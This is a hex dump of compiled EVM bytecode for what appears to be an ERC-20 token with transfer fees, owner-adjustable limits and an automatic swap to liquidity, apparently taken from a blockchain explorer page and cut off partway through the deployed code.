73ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190612e01565b60405180910390fd5b61271081600354610d3b9190612e50565b610d459190612ec1565b60048190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612e01565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90612e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612e01565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461116f90612d84565b80601f016020809104026020016040519081016040528092919081815260200182805461119b90612d84565b80156111e85780601f106111bd576101008083540402835291602001916111e8565b820191906000526020600020905b8154815290600101906020018083116111cb57829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612e01565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133f338484611832565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612e01565b60405180910390fd5b8260098190555081600a819055506114228284611d2590919063ffffffff16565b600b8190555080600c819055506003600c5461143e9190612ec1565b600b5410611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612f3e565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90612e01565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390612e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612faa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d9190612954565b60405180910390fd5b50600083856118259190612fca565b9050809150509392505050565b60008061183e84610e50565b9050600454838261184f9190612ffe565b1115806118a55750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db906130a4565b60405180910390fd5b6118ec611d83565b80156119455750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561195357611952611e5a565b5b600062989680846119649190612ec1565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a21578084611a1e9190612fca565b93505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ac35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611adc57611ad38686866123d5565b92505050611d1e565b611b65846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611bb487876124f9565b611bbe5784611c1a565b611c198786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146125a7565b5b9050611c6e81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d0e91906128a9565b60405180910390a3600193505050505b9392505050565b6000808284611d349190612ffe565b905083811015611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090613110565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611df05750601460009054906101000a900460ff16155b8015611e085750601160149054906101000a900460ff165b8015611e555750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eca576013549050611f0d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611f4b6002611f3d600b54611f2f6009548761271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b90506000611f6282846127e390919063ffffffff16565b90506000600267ffffffffffffffff811115611f8157611f80613130565b5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fc757611fc661315f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561206e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209291906131a3565b816001815181106120a6576120a561315f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121449594939291906132c9565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050600047905060006121a7612196600260095461279990919063ffffffff16565b600b546127e390919063ffffffff16565b905060006121e560026121d7846121c96009548861271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b905060006121fc82856127e390919063ffffffff16565b9050600081111561229e576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161225390613354565b600060405180830381858888f193505050503d8060008114612291576040519150601f19603f3d011682016040523d82523d6000602084013e612296565b606091505b505080915050505b60008711156123b057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161233096959493929190613369565b60606040518083038185885af115801561234e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061237391906133df565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516123a7929190613432565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b60006123ee6103e8600d5461271f90919063ffffffff16565b600d8190555061244682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124e691906128a9565b60405180910390a3600190509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561259f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826125b65760646125ba565b600d545b905060006126056064600c546125d09190612e50565b6125f7846125e9600b548a61271f90919063ffffffff16565b61271f90919063ffffffff16565b61279990919063ffffffff16565b905061265981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126f991906128a9565b60405180910390a361271481866127e390919063ffffffff16565b925050509392505050565b60008083036127315760009050612793565b6000828461273f9190612e50565b905082848261274e9190612ec1565b1461278e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612785906134cd565b60405180910390fd5b809150505b92915050565b60006127db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282d565b905092915050565b600061282583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ce565b905092915050565b60008083118290612874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286b9190612954565b60405180910390fd5b50600083856128839190612ec1565b9050809150509392505050565b6000819050919050565b6128a381612890565b82525050565b60006020820190506128be600083018461289a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128fe5780820151818401526020810190506128e3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612926826128c4565b61293081856128cf565b93506129408185602086016128e0565b6129498161290a565b840191505092915050565b6000602082019050818103600083015261296e818461291b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129a68261297b565b9050919050565b6129b68161299b565b81146129c157600080fd5b50565b6000813590506129d3816129ad565b92915050565b6129e281612890565b81146129ed57600080fd5b50565b6000813590506129ff816129d9565b92915050565b60008060408385031215612a1c57612a1b612976565b5b6000612a2a858286016129c4565b9250506020612a3b858286016129f0565b9150509250929050565b60008115159050919050565b612a5a81612a45565b82525050565b6000602082019050612a756000830184612a51565b92915050565b612a8481612a45565b8114612a8f57600080fd5b50565b600081359050612aa181612a7b565b92915050565b60008060408385031215612abe57612abd612976565b5b6000612acc858286016129c4565b9250506020612add85828601612a92565b9150509250929050565b600080600060608486031215612b0057612aff612976565b5b6000612b0e868287016129c4565b9350506020612b1f868287016129c4565b9250506040612b30868287016129f0565b9150509250925092565b600060ff82169050919050565b612b5081612b3a565b82525050565b6000602082019050612b6b6000830184612b47565b92915050565b600060208284031215612b8757612b86612976565b5b6000612b95848285016129c4565b91505092915050565b600060208284031215612bb457612bb3612976565b5b6000612bc2848285016129f0565b91505092915050565b612bd48161299b565b82525050565b6000602082019050612bef6000830184612bcb565b92915050565b60008060408385031215612c0c57612c0b612976565b5b6000612c1a858286016129c4565b9250506020612c2b858286016129c4565b9150509250929050565b600080600060608486031215612c4e57612c4d612976565b5b6000612c5c868287016129f0565b9350506020612c6d868287016129f0565b9250506040612c7e868287016129f0565b9150509250925092565b600080600060608486031215612ca157612ca0612976565b5b6000612caf86828701612a92565b9350506020612cc0868287016129f0565b9250506040612cd1868287016129f0565b9150509250925092565b6000819050919050565b6000612d00612cfb612cf68461297b565b612cdb565b61297b565b9050919050565b6000612d1282612ce5565b9050919050565b6000612d2482612d07565b9050919050565b612d3481612d19565b82525050565b6000602082019050612d4f6000830184612d2b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d9c57607f821691505b602082108103612daf57612dae612d55565b5b50919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612deb6006836128cf565b9150612df682612db5565b602082019050919050565b60006020820190508181036000830152612e1a81612dde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e5b82612890565b9150612e6683612890565b9250828202612e7481612890565b91508282048414831517612e8b57612e8a612e21565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ecc82612890565b9150612ed783612890565b925082612ee757612ee6612e92565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612f28601c836128cf565b9150612f3382612ef2565b602082019050919050565b60006020820190508181036000830152612f5781612f1b565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612f946008836128cf565b9150612f9f82612f5e565b602082019050919050565b60006020820190508181036000830152612fc381612f87565b9050919050565b6000612fd582612890565b9150612fe083612890565b9250828203905081811115612ff857612ff7612e21565b5b92915050565b600061300982612890565b915061301483612890565b925082820190508082111561302c5761302b612e21565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b600061308e603e836128cf565b915061309982613032565b604082019050919050565b600060208201905081810360008301526130bd81613081565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006130fa601b836128cf565b9150613105826130c4565b602082019050919050565b60006020820190508181036000830152613129816130ed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061319d816129ad565b92915050565b6000602082840312156131b9576131b8612976565b5b60006131c78482850161318e565b91505092915050565b6000819050919050565b60006131f56131f06131eb846131d0565b612cdb565b612890565b9050919050565b613205816131da565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132408161299b565b82525050565b60006132528383613237565b60208301905092915050565b6000602082019050919050565b60006132768261320b565b6132808185613216565b935061328b83613227565b8060005b838110156132bc5781516132a38882613246565b97506132ae8361325e565b92505060018101905061328f565b5085935050505092915050565b600060a0820190506132de600083018861289a565b6132eb60208301876131fc565b81810360408301526132fd818661326b565b905061330c6060830185612bcb565b613319608083018461289a565b9695505050505050565b600081905092915050565b50565b600061333e600083613323565b91506133498261332e565b600082019050919050565b600061335f82613331565b9150819050919050565b600060c08201905061337e6000830189612bcb565b61338b602083018861289a565b61339860408301876131fc565b6133a560608301866131fc565b6133b26080830185612bcb565b6133bf60a083018461289a565b979650505050505050565b6000815190506133d9816129d9565b92915050565b6000806000606084860312156133f8576133f7612976565b5b6000613406868287016133ca565b9350506020613417868287016133ca565b9250506040613428868287016133ca565b9150509250925092565b6000604082019050613447600083018561289a565b613454602083018461289a565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134b76021836128cf565b91506134c28261345b565b604082019050919050565b600060208201905081810360008301526134e6816134aa565b905091905056fea2646970667358221220d4832514a6b1fcf1e0b6eb1e8e860148bb966f18cba9602e74c99f435119519664736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106101f25760003560e01c8063715018a61161010d578063a9059cbb116100a0578063d08893581161006f578063d0889358146106ec578063dd62ed3e14610715578063e96fada214610752578063f2fde38b1461077d578063f887ea40146107a6576101f9565b8063a9059cbb14610630578063acef1a441461066d578063ca33e64c14610698578063cec10c11146106c3576101f9565b806395d89b41116100dc57806395d89b411461058657806398118cb4146105b1578063a4b45c00146105dc578063a8aa1b3114610605576101f9565b8063715018a6146104f057806373a432bb1461050757806378109e54146105305780638da5cb5b1461055b576101f9565b8063313ce56711610185578063658d4b7f11610154578063658d4b7f146104345780636b67c4df1461045d5780636ddd17131461048857806370a08231146104b3576101f9565b8063313ce5671461037857806344ca19e4146103a3578063571ac8b0146103ce5780635d0044ca1461040b576101f9565b806318160ddd116101c157806318160ddd146102bc5780631df4ccfc146102e75780632198cf6c1461031257806323b872dd1461033b576101f9565b80630445b667146101fe57806306fdde0314610229578063095ea7b314610254578063180b0d7e14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107d1565b60405161022091906128a9565b60405180910390f35b34801561023557600080fd5b5061023e6107d7565b60405161024b9190612954565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612a05565b610869565b6040516102889190612a60565b60405180910390f35b34801561029d57600080fd5b506102a661095b565b6040516102b391906128a9565b60405180910390f35b3480156102c857600080fd5b506102d1610961565b6040516102de91906128a9565b60405180910390f35b3480156102f357600080fd5b506102fc61096b565b60405161030991906128a9565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612aa7565b610971565b005b34801561034757600080fd5b50610362600480360381019061035d9190612ae7565b610a5a565b60405161036f9190612a60565b60405180910390f35b34801561038457600080fd5b5061038d610c5a565b60405161039a9190612b56565b60405180910390f35b3480156103af57600080fd5b506103b8610c63565b6040516103c591906128a9565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612b71565b610c69565b6040516104029190612a60565b60405180910390f35b34801561041757600080fd5b50610432600480360381019061042d9190612b9e565b610c9c565b005b34801561044057600080fd5b5061045b60048036038101906104569190612aa7565b610d4e565b005b34801561046957600080fd5b50610472610e37565b60405161047f91906128a9565b60405180910390f35b34801561049457600080fd5b5061049d610e3d565b6040516104aa9190612a60565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612b71565b610e50565b6040516104e791906128a9565b60405180910390f35b3480156104fc57600080fd5b50610505610e99565b005b34801561051357600080fd5b5061052e60048036038101906105299190612b71565b610fe5565b005b34801561053c57600080fd5b50610545611131565b60405161055291906128a9565b60405180910390f35b34801561056757600080fd5b50610570611137565b60405161057d9190612bda565b60405180910390f35b34801561059257600080fd5b5061059b611160565b6040516105a89190612954565b60405180910390f35b3480156105bd57600080fd5b506105c66111f2565b6040516105d391906128a9565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612bf5565b6111f8565b005b34801561061157600080fd5b5061061a61130c565b6040516106279190612bda565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612a05565b611332565b6040516106649190612a60565b60405180910390f35b34801561067957600080fd5b50610682611347565b60405161068f91906128a9565b60405180910390f35b3480156106a457600080fd5b506106ad61134d565b6040516106ba9190612bda565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190612c35565b611373565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612c88565b611486565b005b34801561072157600080fd5b5061073c60048036038101906107379190612bf5565b611541565b60405161074991906128a9565b60405180910390f35b34801561075e57600080fd5b506107676115c8565b6040516107749190612bda565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612b71565b6115ee565b005b3480156107b257600080fd5b506107bb6117a8565b6040516107c89190612d3a565b60405180910390f35b60125481565b6060600180546107e690612d84565b80601f016020809104026020016040519081016040528092919081815260200182805461081290612d84565b801561085f5780601f106108345761010080835404028352916020019161085f565b820191906000526020600020905b81548152906001019060200180831161084257829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161094991906128a9565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690612e01565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c4657610bc5826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c51848484611832565b90509392505050565b60006009905090565b600d5481565b6000610c95827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610869565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190612e01565b60405180910390fd5b61271081600354610d3b9190612e50565b610d459190612ec1565b60048190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612e01565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90612e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612e01565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461116f90612d84565b80601f016020809104026020016040519081016040528092919081815260200182805461119b90612d84565b80156111e85780601f106111bd576101008083540402835291602001916111e8565b820191906000526020600020905b8154815290600101906020018083116111cb57829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612e01565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133f338484611832565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612e01565b60405180910390fd5b8260098190555081600a819055506114228284611d2590919063ffffffff16565b600b8190555080600c819055506003600c5461143e9190612ec1565b600b5410611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612f3e565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90612e01565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390612e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612faa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d9190612954565b60405180910390fd5b50600083856118259190612fca565b9050809150509392505050565b60008061183e84610e50565b9050